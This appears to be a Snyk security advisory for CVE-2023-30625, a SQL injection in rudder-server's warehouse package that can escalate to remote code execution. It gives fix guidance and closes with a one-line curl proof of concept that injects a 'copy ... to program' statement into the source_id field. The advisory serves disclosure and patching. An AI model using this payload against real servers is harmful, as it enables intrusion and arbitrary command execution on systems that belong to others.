SQL Injection Affecting github.com/rudderlabs/rudder-server/warehouse package, versions <1.3.0-rc.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
95.02% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMRUDDERLABSRUDDERSERVERWAREHOUSE-5711907
  • published18 Jun 2023
  • disclosed18 Jun 2023
  • credit@Kwstubbs

Introduced: 18 Jun 2023

CVE-2023-30625  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade github.com/rudderlabs/rudder-server/warehouse to version 1.3.0-rc.1 or higher.

Overview

github.com/rudderlabs/rudder-server/warehouse is an open source Customer Data Platform (CDP).

Affected versions of this package are vulnerable to SQL Injection. This issue may lead to Remote Code Execution (RCE) due to the rudder role in PostgresSQL having superuser permissions by default.

PoC

curl -v -u "key": -X POST http://localhost:8080/v1/warehouse/pending-events -d "{\"source_id\": \"test'; copy (SELECT '') to program 'arbitrary_command_here'-- - \"}" --header "Content-Type: application/json"

CVSS Scores

version 3.1